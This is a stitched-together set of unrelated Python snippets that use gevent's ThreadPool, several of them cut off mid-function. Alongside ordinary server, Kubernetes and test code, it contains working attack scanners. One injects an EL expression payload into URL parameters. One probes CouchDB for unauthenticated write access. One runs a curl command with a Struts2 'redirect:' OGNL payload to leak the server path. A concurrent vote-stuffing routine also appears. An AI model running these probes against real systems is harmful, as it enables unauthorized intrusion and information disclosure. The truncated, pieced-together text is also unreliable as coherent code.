class Worker(object):
def __init__(self, url):
self.url = url
self.headers = {'content-type': 'application/json'}
self.id = 0
self.post = functools.partial(requests.post, self.url, headers=self.headers)
self.pool = ThreadPool(100)
def _call(self, method, *args):
payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id)
self.id += 1
response = self.post(json.dumps(payload)).json()
return response
def _async_call(self, method, *args):
payload = dict(method=method, params=args, jsonrpc="2.0", id=self.id)
self.id += 1
def _delayed_call(pl):
return self.post(json.dumps(pl)).json()
return Future(self.pool.spawn(_delayed_call, payload))
def tell(self, method, *args):
self._async_call(method, *args)
def ask(self, method, *args):
return self._async_call(method, *args)
def join(self):
self.pool.join()
def _run(self):
try:
args = self.orbname, self.select, self.reject
# TODO Review this queue size
# TODO Review reasoning behind using OrbreapThr vs. normal ORB API
# I think it had something to do with orb.reap() blocking forever
# on comms failures; maybe we could create our own orbreapthr
# implementation?
with OrbreapThr(*args, timeout=1, queuesize=orbreapthr_queuesize) as orbreapthr:
log.info("Connected to ORB %s %s %s" % (self.orbname, self.select,
self.reject))
threadpool = ThreadPool(maxsize=1)
try:
while True:
try:
success, value = threadpool.spawn(
wrap_errors, (Exception,), orbreapthr.get, [], {}).get()
timestamp = datetime.utcnow()
if not success:
raise value
except (Timeout, NoData), e:
log.debug("orbreapthr.get exception %r" % type(e))
pass
else:
if value is None:
raise Exception('Nothing to publish')
self._publish(value, timestamp)
finally:
# This blocks until all threads in the pool return. That's
# critical; if the orbreapthr dies before the get thread,
# segfaults ensue.
threadpool.kill()
except Exception, e:
log.error("OrbPktSrc terminating due to exception", exc_info=True)
raise
def run_proxy_parse(self, url, proxy_type):
try:
for i in range(3):
#这里对url进行重新组装
url = url[0:-1] + str(i+1)
resp = requests.get(url, timeout=5)
response = etree.HTML(resp.content.decode('utf-8'))
#解析代理IP，获取代理ip列表
proxy_ip_list = []
for item in response.xpath('//tr[contains(@style,"font-size")]'):
ip = item.xpath('./td[1]/text()')[0].strip()
port = item.xpath('./td[2]/text()')[0].strip()
proto = item.xpath('./td[4]/text()')[0].strip()
if proto.lower() == 'https':
continue
proxy_ip = proto.lower() + '://' + ip + ':' + port
if proxy_ip not in proxy_ip_list:
proxy_ip_list.append(proxy_ip)
#对每个IP进行测试，留下可用的代理ip
pool = ThreadPool(len(proxy_ip_list))
for pip in proxy_ip_list:
pool.spawn(self.test_single_proxy, pip, self.test_urls[proxy_type.lower()])
pool.join()
except Exception, e:
pass
class ThreadPoolExecutor(concurrent.futures.ThreadPoolExecutor):
"""
A version of :class:`concurrent.futures.ThreadPoolExecutor` that
always uses native threads, even when threading is monkey-patched.
TODO: Gevent has also implemented [ThreadPoolExecutor](https://github.com/gevent/gevent/blob/master/src/gevent/threadpool.py#L454)
to be released in next version 1.2.0. We should move to that implementation when it is released.
"""
def __init__(self, max_workers):
super(ThreadPoolExecutor, self).__init__(max_workers)
self._threadpool = ThreadPool(max_workers)
def submit(self, fn, *args, **kwargs):
future = super(ThreadPoolExecutor, self).submit(fn, *args, **kwargs)
with self._shutdown_lock:
work_item = self._work_queue.get()
assert work_item.fn is fn
self._threadpool.spawn(work_item.run)
return future
def shutdown(self, wait=True):
super(ThreadPoolExecutor, self).shutdown(wait)
self._threadpool.kill()
kill = shutdown # greentest compat
def _adjust_thread_count(self):
# Does nothing. We don't want to spawn any "threads",
# let the threadpool handle that.
pass
class ELExpression():
def __init__(self):
self.result = []
self.pool = ThreadPool(10)
self.q = []
self.payload = '{1000-121}'
self.match = '879'
def putinqueue(self, info):
try:
url = info[0]
data = info[1]
current = data if data else url
for k in re.finditer(r'\=(?P<value>.*?)(?:$|&)', current):
value = k.group('value')
payload = current.replace(value, self.payload)
if data:
self.q.append((url, payload))
else:
self.q.append((payload, data))
except:
traceback.print_exc()
def Fuzz(self, info):
try:
url = info[0]
data = info[1]
if data:
try:
r = requests.post(url, data=data, timeout=10, verify=False)
content = r.content
except:
content = ''
else:
try:
print "Req ::" + url
r = requests.get(url, timeout=10, verify=False)
content = r.content
except:
content = ''
if self.match in content:
msg = 'find vulnerable url'
logging.info(msg)
self.result.append(info)
except:
traceback.print_exc()
def Scan(self, info):
try:
if isinstance(info, tuple):
self.putinqueue(info)
else:
with open(info) as f:
ud = json.loads(f.read())
for i in ud:
self.putinqueue(i)
self.pool.map(self.Fuzz, self.q)
except:
traceback.print_exc()
def _run(self):
"""Main loop; reap and process pkts"""
try:
args = self.orbname, self.select, self.reject
print repr(self.orbname)
print repr(args)
with OrbreapThr(*args, timeout=1, queuesize=8, after=self.tafter) as orbreapthr:
log.info("Connected to ORB %s %s %s" % (self.orbname, self.select,
self.reject))
self.timeoff = self.timeon = datetime.utcnow()
spawn(self._status_printer).link_exception(self._janitor)
threadpool = ThreadPool(maxsize=1)
try:
while True:
try:
success, value = threadpool.spawn(
wrap_errors, (Exception,), orbreapthr.get, [], {}).get()
timestamp = datetime.utcnow()
if not success:
raise value
except (Timeout, NoData), e:
log.debug("orbreapthr.get exception %r" % type(e))
pass
else:
if value is None:
raise Exception('Nothing to publish')
self._process(value, timestamp)
finally:
# This blocks until all threads in the pool return. That's
# critical; if the orbreapthr dies before the get thread,
# segfaults ensue.
threadpool.kill()
except Exception, e:
log.error("OrbPktSrc terminating due to exception", exc_info=True)
raise
def easy_parallelize_gevent(f, sequence):
if not "gevent_pool" in PARALLEL_STRUCTURES:
from gevent.threadpool import ThreadPool
pool = ThreadPool(30000)
PARALLEL_STRUCTURES["gevent_pool"] = pool
pool = PARALLEL_STRUCTURES["gevent_pool"]
result = pool.map(f, sequence)
return result
def targets(self, activity):
activities = self.get_contacts_by_activity[activity['id']]
contacts = [int(c) for c in activities[TARGETS]]
pool = ThreadPool(THREADS)
contacts = [pool.spawn(self.get_contact, c) for c in contacts]
gevent.wait()
contacts = [c.get()['sort_name'] for c in contacts]
return ', '.join(contacts)
def spawn_dashboard(self, job, port):
print 'Spawning dashboard...'
sp_dashboard = create_fetch_dashboard(job)
tpool = ThreadPool(2)
tpool.spawn(sp_dashboard.serve,
use_reloader=False,
static_prefix='static',
port=port,
static_path=dashboard._STATIC_PATH)
def admin_init(self):
if self.coll_dir:
self.load_coll_dir()
if self.inputs:
if self.load_cache():
return
pool = ThreadPool(maxsize=1)
pool.spawn(self.safe_auto_load_warcs)
class TestJoinEmpty(TestCase):
switch_expected = False
def test(self):
self.pool = ThreadPool(1)
self.pool.join()
def cleanup(self):
# needed here because currently Greenlet.kill() switches out even if greenlet not started yet
# XXX fix Greenlet.kill
pass
def vote(self):
self._voted = False
if self.sesskey is None or self.choice_id is None:
self.get_info()
print("[+] Start threadpool")
pool = ThreadPool(10)
for _ in range(11):
pool.spawn(self._vote, _)
gevent.wait()
if self._voted:
self.vote = True
print("[+] Vote Success", time.ctime())
def _get_messages(self):
# Emulate batch messages by polling rabbitmq server multiple times
pool = ThreadPool(settings.POLLER_CONFIG["batchsize"])
for i in range(settings.POLLER_CONFIG["batchsize"]):
if settings.QUEUE_TYPE in ["SQS", "sqs"]:
pool.spawn(self._get_sqs_messages)
elif settings.QUEUE_TYPE in ["RABBITMQ", "rabbitmq"]:
pool.spawn(self._get_rabbitmq_messages, i)
else:
raise ValueError(
'Incorrect value "%s" for QUEUE_TYPE in %s' % (settings.QUEUE_TYPE, settings.SETTINGS_MODULE)
)
def fetch_controller(listname):
port = find_port()
if port:
tpool = ThreadPool(2)
tpool.spawn(start_fetch, listname, port)
ret = {'port': port,
'name': listname,
'url': 'http://localhost:' + str(port),
'status': 'running'}
else:
ret = {'port': port,
'name': listname,
'url': '',
'status': 'occupied'}
return ret
def __init__(self, settings):
self.settings = settings
self.address = settings.get('services_tcp_address')
self.work_address = settings.get('workers_tcp_address')
self.pool = Pool(POOL_SIZE)
self.tpool = ThreadPool(TPOOL_SIZE)
self.dead=False
def my_task(self):
min_pool = ThreadPool(2)
self.update_state(state='PROGRESS',
meta={'current': 0, 'total': 2,
'status': 'PENDING'})
# spawn all the threads
greenlets = [min_pool.spawn(_consumer, i) for i in xrange(100)]
# wait till the finish
min_pool.join()
# get the result
response = [greenlet.get() for greenlet in greenlets]
return {'current': 100, 'total': 100, 'status': 'Task completed!',
'result': len(response)}
def __init__(self):
self.pool = ThreadPool(10)
self.result = []
self.port = "5984"
self.q = []
self.randomstrs = ['a', 'k', 'b', 'v', 'd', 'f', 'e', 'g']
self.path = '_utils/index.html'
def test_unordered(self):
self.pool = ThreadPool(3)
def unordered():
return list(self.pool.imap_unordered(lambda x: None, error_iter()))
self.assertRaises(greentest.ExpectedException, unordered)
gevent.sleep(0.001)
def __init__(self, server):
self._server = server
self._pool = ThreadPool(CPUS * 4)
self._listen_sock = None
self._wsgi_server = None
BaseEngine.__init__(self, server)
Signaler.__init__(self)
class Engine(BaseEngine, Signaler):
#
# 引擎本身只需实现 BaseEngine 接口，信号处理属于额外增强功能。
# 子进程创建、退出都属于系统信号范畴，统一由 Singaler 处理。
#
def __init__(self, server):
self._server = server
self._pool = ThreadPool(CPUS * 4)
self._listen_sock = None
self._wsgi_server = None
BaseEngine.__init__(self, server)
Signaler.__init__(self)
def run(self):
from engine.config import HOST, PORT
self._listen_sock = socket(family=AF_INET)
self._listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self._listen_sock.bind((HOST, PORT))
self._listen_sock.listen(2048)
self._listen_sock.setblocking(0)
self.fork_workers(WORKERS or CPUS + 1)
self.parent_execute()
def fork_workers(self, num):
for i in range(num):
if fork() == 0:
self.worker_execute()
exit(0)
def worker_execute(self):
Signaler.worker_execute(self)
# 启动服务器。
kwargs = HTTPS and \
{k: app_path("ssl/" + v) for k, v in (("keyfile", HTTPS_KEY), ("certfile", HTTPS_CERT))} or \
{}
self._wsgi_server = WSGIServer(self._listen_sock, self._server.execute, log=None, **kwargs)
self._wsgi_server.serve_forever()
# 等待所有处理结束，超时 10 秒。
hasattr(self._wsgi_server, "__graceful__") and gwait(timeout=10)
def worker_stop(self, graceful):
stop = lambda *args: self._wsgi_server and self._wsgi_server.stop()
graceful and (setattr(self._wsgi_server, "__graceful__", True), stop()) or stop()
def async_execute(self, func, *args, **kwargs):
e = Event()
g = self._pool.apply_async(func, args, kwargs, callback=lambda ret: e.set())
e.wait()
return g.get()
class PortDao(object):
def __init__(self, config_file):
self.conf_file = STRING(config_file)
self._threadpool = ThreadPool(1)
self._cached_port_conf_list = []
self._load_conf()
def _load_conf(self):
if os.path.isfile(self.conf_file):
config = self._threadpool.apply(
Config.from_file,
(self.conf_file, conf_file_schema))
self._cached_port_conf_list = config.conf
def get_port_conf_list(self):
return copy.deepcopy(self._cached_port_conf_list)
def get_port_conf(self, port_name):
for port_config in self._cached_port_conf_list:
if port_config.get("port_name") == port_name:
break
else:
raise StreamSwitchError("Port (%s) Not Exist in config file(%)" %
(port_name, self.self_conf_file), 404)
return copy.deepcopy(port_config)
def update_port_conf(self, port_name, new_port_config):
new_port_config = new_port_config_schema.validate(new_port_config)
for port_config in self._cached_port_conf_list:
if port_config.get("port_name") == port_name:
break
else:
raise StreamSwitchError("Port (%s) Not Exist in config file(%)" %
(port_name, self.self_conf_file), 404)
port_config.update(new_port_config)
save_port_conf_list = copy.deepcopy(self._cached_port_conf_list)
self._threadpool.apply(Config.to_file,
(self.conf_file, save_port_conf_list))
def run(self, **kwargs):
if self.tpool is None:
self.tpool = ThreadPool(2)
kwargs["host"] = kwargs.get("host", DEFAULT_HOST)
pref_port = kwargs.get("port", DEFAULT_PORT)
port = find_port(kwargs["host"], pref_port)
if port is None:
raise Exception("Could not find suitable port to run LoupeDashboard server.")
else:
kwargs["port"] = port
kwargs["server"] = kwargs.get("server", DEFAULT_SERVER)
self.tpool.spawn(run, self, **kwargs)
def main():
#创建线程池
pool = ThreadPool(30)
result = []
#一个参数则用command
if len(sys.argv) == 2:
func = 'command'
#两个参数则用sync
if len(sys.argv) == 3:
#判断本地文件
if not os.path.isfile(sys.argv[1]):
sys.stdout.write("This file is not in zhe system: %s"%sys.argv[1])
sys.exit(1)
func = 'sync'
for i in open('iplist.txt'):
s = SSHClient(*i.strip().split(","))
#工厂模式处理
result.append(pool.spawn(getattr(s,func),*sys.argv[1:]))
#等待结束
gevent.wait()
for i in result:
logging.info(i.get())
def bench_apply(loops):
pool = ThreadPool(1)
t0 = perf.perf_counter()
for _ in xrange(loops):
for _ in xrange(N):
pool.apply(noop)
pool.join()
pool.kill()
return perf.perf_counter() - t0
class CouchDb():
def __init__(self):
self.pool = ThreadPool(10)
self.result = []
self.port = "5984"
self.q = []
self.randomstrs = ['a', 'k', 'b', 'v', 'd', 'f', 'e', 'g']
self.path = '_utils/index.html'
def Fuzz(self, info):
try:
url = info[0]
port = info[1]
host = urlparse.urlparse(url).netloc
url = r'http://' + host + ":" + port
rstr = "".join(random.sample(self.randomstrs, 5))
url = url + r'/' + rstr
try:
print "Req::" + url
r = requests.put(url, timeout=10)
if 'ok' and 'true' in r.content:
self.result.append(info)
except:
pass
except:
pass
def Scan(self, info):
try:
if isinstance(info, tuple):
self.q.append(info)
else:
with open(file) as f:
content = json.loads(f.read())
for i in content:
self.q.append((i['url'], self.port))
self.pool.map(self.Fuzz, self.q)
except:
traceback.print_exc()
def _get_related_contacts(self, relationships):
"""Return a list of related contacts from a CiviCRM server.
Run the API calls concurrently to speed up the process.
:param relationships: [required] relationship information of the
selected contact
:type relationships: list of dictionaries with relationship
information
:returns: dictionary with contact information dictionaries
"""
contacts = []
for r in relationships:
if int(r["contact_id_a"]) == self.contact_id:
contacts.append(r["contact_id_b"])
elif int(r["contact_id_b"]) == self.contact_id:
contacts.append(r["contact_id_a"])
pool = ThreadPool(THREADS)
contacts = [pool.spawn(self.get_contact, c) for c in contacts]
gevent.wait()
contacts = [c.get() for c in contacts]
# make mapping easier by returning contact_id as dictionary key
return dict([(c["contact_id"], c) for c in contacts])
class TestErrorInIterator(TestCase):
error_fatal = False
def test(self):
self.pool = ThreadPool(3)
self.assertRaises(greentest.ExpectedException, self.pool.map, lambda x: None, error_iter())
gevent.sleep(0.001)
def test_unordered(self):
self.pool = ThreadPool(3)
def unordered():
return list(self.pool.imap_unordered(lambda x: None, error_iter()))
self.assertRaises(greentest.ExpectedException, unordered)
gevent.sleep(0.001)
class st2bypass():
def __init__(self):
self.result = []
self.pool = ThreadPool(10)
self.q = []
def action(self, info):
try:
if '.do' or '.action' in info:
url = info.split('?')[0]
self.q.append(url)
except:
traceback.print_exc()
def Fuzz(self, url):
try:
cmd = '''curl -i "%s" -F 'redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}=-1' ''' % url
print cmd
output = os.popen(cmd).read()
for i in re.finditer(r'\:\/\/.*\/\/(?P<path>'
r'.*?)/;', output):
path = i.group('path')
if path:
self.result.append(path)
except:
traceback.print_exc()
def Scan(self, info):
try:
if isinstance(info, str):
self.action(info)
else:
for i in info:
self.action(i['url'])
self.pool.map(self.Fuzz, self.q)
except:
traceback.print_exc()
def bench_spawn_wait(loops):
pool = ThreadPool(1)
t0 = perf.perf_counter()
for _ in xrange(loops):
for _ in xrange(N):
r = pool.spawn(noop)
r.get()
pool.join()
pool.kill()
return perf.perf_counter() - t0
def __init__(self,path = None,baud = None,parity = None,impl = None,
explicit_error = False):
'''
Reader object can be created even if required port cannot be opened.
It will try to fix itself afterwards.
To check current Reader status use 'is_open' method.
'''
self.pool = ThreadPool(1)
self._is_open = False
if not path:
kw = config.reader_path[0]
path,baud,parity,impl = (kw['path'],kw.get('baud',DEFAULT_BAUD),
kw.get('parity',DEFAULT_PARITY),
kw.get('impl',config.default_impl))
self.path = path
self.baud = baud if baud != None else DEFAULT_BAUD
self.parity = parity if parity != None else DEFAULT_PARITY
self.impl = impl if impl != None else config.default_impl
try:
self.open()
except ReaderError:
if explicit_error: raise
print 'Cannot open Reader on {0}. Will try to fix afterwards...'.format(self.path)
import time
import gevent
from gevent.threadpool import ThreadPool
pool = ThreadPool(3)
for _ in range(4):
pool.spawn(time.sleep, 1)
gevent.wait()
class K8SPodsIPWatcher(object):
"""
Pods watcher class, compatible with SchedulerDiscoverer
"""
dynamic = True
def __init__(self,
k8s_config=None,
k8s_namespace=None,
label_selector=None):
from kubernetes import config, client
from gevent.threadpool import ThreadPool
if k8s_config is not None:
self._k8s_config = k8s_config
elif os.environ.get('KUBE_API_ADDRESS'):
self._k8s_config = client.Configuration()
self._k8s_config.host = os.environ['KUBE_API_ADDRESS']
else:
self._k8s_config = config.load_incluster_config()
self._k8s_namespace = k8s_namespace or os.environ.get(
'MARS_K8S_POD_NAMESPACE') or 'default'
self._label_selector = label_selector
self._full_label_selector = None
self._client = client.CoreV1Api(client.ApiClient(self._k8s_config))
self._pool = ThreadPool(1)
self._pod_to_ep = None
def __reduce__(self):
return type(self), (self._k8s_config, self._k8s_namespace,
self._label_selector)
def _get_label_selector(self):
if self._full_label_selector is not None:
return self._full_label_selector
selectors = [self._label_selector]
if 'MARS_K8S_GROUP_LABELS' in os.environ:
group_labels = os.environ['MARS_K8S_GROUP_LABELS'].split(',')
cur_pod_info = self._pool.spawn(
self._client.read_namespaced_pod,
os.environ['MARS_K8S_POD_NAME'],
namespace=self._k8s_namespace).result().to_dict()
for label in group_labels:
label_val = cur_pod_info['metadata']['labels'][label]
selectors.append(f'{label}={label_val}')
self._full_label_selector = ','.join(selectors)
logger.debug('Using pod selector %s', self._full_label_selector)
return self._full_label_selector
def _extract_pod_name_ep(self, pod_data):
pod_ip = pod_data["status"]["pod_ip"]
svc_port = pod_data['spec']['containers'][0]['ports'][0][
'container_port']
return pod_data['metadata']['name'], f'{pod_ip}:{svc_port}'
@staticmethod
def _extract_pod_ready(obj_data):
if obj_data['status']['phase'] != 'Running':
return False
# if conditions not supported, always return True
if 'status' not in obj_data or 'conditions' not in obj_data['status']:
return True
return any(cond['type'] == 'Ready' and cond['status'] == 'True'
for cond in obj_data['status']['conditions'])
def _get_pod_to_ep(self):
query = self._pool.spawn(
self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector()).result().to_dict()
result = dict()
for el in query['items']:
name, pod_ep = self._extract_pod_name_ep(el)
if pod_ep is not None and not self._extract_pod_ready(el):
pod_ep = None
result[name] = pod_ep
return result
def get(self, update=False):
if self._pod_to_ep is None or update:
self._pod_to_ep = self._get_pod_to_ep()
return sorted(a for a in self._pod_to_ep.values() if a is not None)
def is_all_ready(self):
self.get(True)
if not self._pod_to_ep:
return False
return all(a is not None for a in self._pod_to_ep.values())
def watch(self):
from urllib3.exceptions import ReadTimeoutError
from kubernetes import watch
cur_pods = set(self.get(True))
w = watch.Watch()
while True:
# when some schedulers are not ready, we refresh faster
linger = 10 if self.is_all_ready() else 1
streamer = w.stream(self._client.list_namespaced_pod,
namespace=self._k8s_namespace,
label_selector=self._get_label_selector(),
timeout_seconds=linger)
while True:
try:
event = self._pool.spawn(next, streamer,
StopIteration).result()
if event is StopIteration:
raise StopIteration
except (ReadTimeoutError, StopIteration):
new_pods = set(self.get(True))
if new_pods != cur_pods:
cur_pods = new_pods
yield self.get(False)
break
except: # noqa: E722
logger.exception(
'Unexpected error when watching on kubernetes')
break
obj_dict = event['object'].to_dict()
pod_name, endpoint = self._extract_pod_name_ep(obj_dict)
self._pod_to_ep[pod_name] = endpoint \
if endpoint and self._extract_pod_ready(obj_dict) else None
yield self.get(False)
from lib.wsgi import WebSocketWSGI
from gevent.lock import Semaphore
from gevent.threadpool import ThreadPool as ThreadPool
from datetime import datetime
from random import randint
import time
import logging
logger = logging.getLogger(__name__)
logging.basicConfig(
level=logging.INFO,
format=
'[%(asctime)s] [%(levelname)-7s] -%(process)d:%(threadName)s:%(name)s:%(funcName)s - %(message)s'
)
pool = ThreadPool(1)
# demo app
import os
import random
def handle(ws):
""" This is the websocket handler function. Note that we
can dispatch based on path in here, too."""
if ws.path == '/echo':
sem = Semaphore()
while True:
logger.debug("loop")
data = ws.wait()
logger.info("data {}".format(data))
pool.apply_async(process,
def xapiand_run(data=None, logfile=None, pidfile=None, uid=None, gid=None, umask=0,
working_directory=None, verbosity=1, commit_slots=None, commit_timeout=None,
listener=None, queue_type=None, **options):
global STOPPED
current_thread = threading.current_thread()
tid = current_thread.name.rsplit('-', 1)[-1]
current_thread.name = 'Server-%s' % tid
if pidfile:
create_pidlock(pidfile)
address, _, port = listener.partition(':')
if not port:
port, address = address, ''
port = int(port)
loglevel = ['ERROR', 'WARNING', 'INFO', 'DEBUG'][3 if verbosity == 'v' else int(verbosity)]
log = logging.getLogger()
log.setLevel(loglevel)
if len(log.handlers) < 1:
formatter = logging.Formatter(LOG_FORMAT)
if logfile:
outfile = logging.FileHandler(logfile)
outfile.setFormatter(formatter)
log.addHandler(outfile)
if not pidfile:
console = ColoredStreamHandler(sys.stderr)
console.setFormatter(formatter)
log.addHandler(console)
if not commit_slots:
commit_slots = COMMIT_SLOTS
if commit_timeout is None:
commit_timeout = COMMIT_TIMEOUT
timeout = min(max(int(round(commit_timeout * 0.3)), 1), 3)
queue_class = AVAILABLE_QUEUES.get(queue_type) or AVAILABLE_QUEUES['default']
mode = "with multiple threads and %s commit slots using %s" % (commit_slots, queue_class.__name__)
log.warning("Starting Xapiand Server v%s (xapian v%s) %s [%s] (pid:%s)", version, xapian.version_string(), mode, loglevel, os.getpid())
commit_lock = Semaphore(commit_slots)
timeouts = Obj(
timeout=timeout,
commit=commit_timeout * 1.0,
delayed=commit_timeout * 3.0,
maximum=commit_timeout * 9.0,
)
main_queue = queue.Queue()
databases_pool = DatabasesPool(data=data, log=log)
databases = {}
xapian_server = XapiandServer(
(address, port),
databases_pool=databases_pool,
pool_size=COMMANDS_POOL_SIZE,
main_queue=main_queue,
queue_class=queue_class,
data=data,
log=log
)
gevent.signal(signal.SIGTERM, xapian_server.close)
gevent.signal(signal.SIGINT, xapian_server.close)
log.debug("Starting server...")
try:
xapian_server.start()
except Exception as exc:
log.error("Cannot start server: %s", exc)
sys.exit(-1)
pool_size = WRITERS_POOL_SIZE
pool_size_warning = int(pool_size / 3.0 * 2.0)
writers_pool = ThreadPool(pool_size)
def start_writer(db):
db = build_url(*parse_url(db.strip()))
name = database_name(db)
try:
tq = None
t, tq = databases[db]
if t.ready():
raise KeyError
except KeyError:
queue_name = os.path.join(data, name)
tq = tq or xapian_server.get_queue(queue_name)
pool_used = len(writers_pool)
if not (pool_size_warning - pool_used) % 10:
log.warning("Writers pool is close to be full (%s/%s)", pool_used, pool_size)
elif pool_used == pool_size:
log.error("Writers poll is full! (%s/%s)", pool_used, pool_size)
t = writers_pool.spawn(_writer_loop, databases, databases_pool, db, tq, commit_lock, timeouts, data, log)
databases[db] = (t, tq)
return db, name, t, tq
if queue_class.persistent:
# Initialize seen writers:
writers_file = os.path.join(data, WRITERS_FILE)
with open(writers_file, 'rt') as epfile:
for i, db in enumerate(epfile):
if i == 0:
log.debug("Initializing writers...")
start_writer(db)
log.info("Waiting for commands...")
msg = None
timeout = timeouts.timeout
while not xapian_server.closed:
xapian_cleanup(databases_pool, DATABASE_MAX_LIFE, data=data, log=log)
try:
msg = main_queue.get(True, timeout)
except Queue.Empty:
continue
if not msg:
continue
try:
cmd, endpoints, args = msg
except ValueError:
log.error("Wrong command received!")
continue
for db in endpoints:
db, name, t, tq = start_writer(db)
if cmd != 'INIT':
try:
tq.put((cmd, db, args))
log.debug("Command '%s' forwarded to %s", cmd, name)
except Queue.Full:
log.error("Cannot send command to queue! (2)")
log.debug("Waiting for connected clients to disconnect...")
while True:
if xapian_server.close(max_age=10):
break
if gevent.wait(timeout=3):
break
# Stop queues:
queue_class.STOPPED = STOPPED = time.time()
if queue_class.persistent:
with open(writers_file, 'wt') as epfile:
for db, (t, tq) in databases.items():
if not t.ready():
epfile.write("%s\n" % db)
# Wake up writers:
for t, tq in databases.values():
try:
tq.put(None) # wake up!
except Queue.Full:
log.error("Cannot send command to queue! (1)")
log.debug("Waiting for %s writers...", len(databases))
for t, tq in databases.values():
t.wait()
xapian_cleanup(databases_pool, 0, data=data, log=log)
log.warning("Xapiand Server ended! (pid:%s)", os.getpid())
gevent.wait()
def test_init_valueerror(self):
self.switch_expected = False
with self.assertRaises(ValueError):
ThreadPool(-1)
self.pool = None
class GitLabOperator(object):
def __init__(self):
"""
"""
conf = get_config()
if not conf:
raise Exception(u'配置文件读取失败!')
self.api = GitlabAPIHandler(api_url=conf['gitlab']['api_url'], token=conf['gitlab']['token'])
self.activity_limit_month = conf['gitlab']['activity_month'] or 12
self.tz = timezone('Asia/Shanghai')
self.pool = ThreadPool(20)
def add_groups(self):
"""
添加项目分组
:return:
"""
logger.info('Start syncing project group information...')
groups = self.api.get_groups()
for group in groups:
group_obj = group_create_or_update(
git_id=group['id'],
name=group['name'],
path=group['path'],
description=group['description'],
web_url=group['web_url'],
full_name=group['full_name'],
full_path=group['full_path'],
visibility_level=group['visibility_level'],
)
if group_obj:
logger.debug('group name:{0}, group path:{1}'.format(group['name'], group['path']))
yield group_obj
def _add_groups_members(self, group_obj):
"""
:param group_obj:
:return:
"""
members = self.api.get_members_by_group(group_id=group_obj.git_id)
for member in members:
if 'email' in member:
email = member['email']
else:
email = None
m = get_member_by_gitid(member['id'])
if not m or m.state != 'active':
member_obj = create_or_update(
git_id=member['id'],
name=member['name'],
username=member['username'],
state=member['state'],
web_url=member['web_url'],
email=email,
)
if member_obj:
logger.info('[FOUND] username: {0}, git id:{1}'.format(member['username'], member['id']))
if not group_obj.members.filter(git_id=member['id']).exists():
group_obj.members.add(member_obj)
perm = get_group_member_perm(member_id=member_obj.id, group_id=group_obj.id)
if not perm:
create_group_member_perm_obj(
group_obj=group_obj,
member_obj=member_obj,
access_level=member['access_level'],
expires_at=member['expires_at']
)
def add_groups_and_members(self):
"""
FBI WARNING!!! Do not use, Do not use, Do not use.
:return:
"""
for group_obj in self.add_groups():
self.pool.spawn(self._add_groups_members, group_obj)
gevent.wait()
def add_projects(self, enable_sync_branch=True):
"""
添加项目
:return:
"""
logger.info('Start syncing project information...')
today = datetime.datetime.now()
for project in self.api.get_projects():
last_activity_at = utc2local(project['last_activity_at']) + datetime.timedelta(
days=self.activity_limit_month * 30)
if last_activity_at < today:
logger.warn('[SKIP] “{0}” 项目已超过 {1} 个月未活动, 跳过当前项目的信息同步, 最后活动时间: {2}。'
''.format(project['name'], self.activity_limit_month, project['last_activity_at']))
continue
logger.info('Start syncing "{0}" project member information ...'.format(project['name']))
try:
# member
members = self._add_members_by_project(project['id'], project['name'])
# group
group_obj = get_group_by_gitid(git_id=project['namespace']['id'])
if not group_obj:
logger.debug('"{0}" group not found.'.format(project['namespace']))
group_obj = create_group_obj(
git_id=project['namespace']['id'],
name=project['namespace']['name'],
parent_id=project['namespace']['parent_id'],
path=project['namespace']['path'],
full_path=project['namespace']['full_path'],
)
group_json = self.api.get_group_info(group_id=project['namespace']['id'])
if group_json:
group_obj = update_group_obj(
git_id=group_json['id'],
name=group_json['name'],
path=group_json['path'],
description=group_json['description'],
web_url=group_json['web_url'],
full_name=group_json['full_name'],
full_path=group_json['full_path'],
visibility_level=group_json['visibility_level'],
)
self._add_groups_members(group_obj)
# project
pro = get_project_by_gitid(project['id'])
i_ok = False
if pro:
last_activity_at = utc2local(project['last_activity_at']).strftime("%Y%m%d%H%M%S")
pro_last_activity_at = utc2local(pro.git_last_activity_at.astimezone(self.tz).strftime("%Y-%m-%d %H:%M:%S")).strftime("%Y%m%d%H%M%S")
# assert last_activity_at == pro_last_activity_at
# assert project['name'].lower() == pro.name.lower()
# assert project['ssh_url_to_repo'].lower() == pro.ssh_url_to_repo.lower()
if last_activity_at != pro_last_activity_at or \
project['name'].lower() != pro.name.lower() or \
project['ssh_url_to_repo'].lower() != pro.ssh_url_to_repo.lower():
i_ok = True
else:
i_ok = True
if not project['default_branch'] and pro:
i_ok = False
logger.warning('"{0}" is an empty project.'.format(project['web_url']))
if not i_ok:
logger.warning('[SKIP] [*] The project has not been changed, skip the update.')
continue
_name, _username, department = 'id: {0}'.format(project['creator_id']), '', None
project_obj = project_create_or_update(
group_obj=group_obj,
git_id=project['id'],
git_created_at=project['created_at'],
git_last_activity_at=project['last_activity_at'],
issues_enabled=project['issues_enabled'],
ssh_url_to_repo=project['ssh_url_to_repo'],
http_url_to_repo=project['http_url_to_repo'],
web_url=project['web_url'],
default_branch=project['default_branch'],
name=project['name'],
path=project['path'],
path_with_namespace=project['path_with_namespace'],
creator_id=project['creator_id'],
description=project['description'],
star_count=project['star_count'],
forks_count=project['forks_count'],
open_issues_count=0,
visibility_level=project['visibility_level'],
)
if pro:
title = '更新『{0}』项目'.format(project['name'])
description = '更新『{0}』项目成功，默认分支：{1}'.format(
project['name'], project['default_branch'] or '-'
)
create_pro_history_obj(
project_obj=pro,
title=title,
description=description,
type=icon_type.INFO
)
else:
title = '创建 『{0}』项目'.format(project['name'])
description = '创建『{0}』项目成功\n所属分组: {1}\n创建者：{2}({3})\n默认分支：{4}'.format(
project['name'], project['namespace']['name'],
_name, _username, project['default_branch'] or '-'
)
create_pro_history_obj(
project_obj=project_obj,
title=title,
description=description,
is_first=True,
type=icon_type.DATABASE
)
logger.debug('[PROJECT] project name:"{0}", git id: {1}, group name:"{2}".'.format(
project['name'],
project['id'],
group_obj.name))
# members
new_list = []
r_list = []
if not project_obj:
project_obj = pro
for username, item in members.items():
if item['obj'].state == 'active': # 有效账户
perm = get_pro_member_perm(member_id=item['obj'].id, project_id=project_obj.id)
if not perm:
create_pro_member_perm_obj(
project_obj=project_obj,
member_obj=item['obj'],
access_level=item['json']['access_level'],
expires_at=item['json']['expires_at']
)
if not project_obj.members.filter(id=item['obj'].id).exists():
new_list.append(username)
r_list.append(item['obj'])
if r_list:
if project_obj:
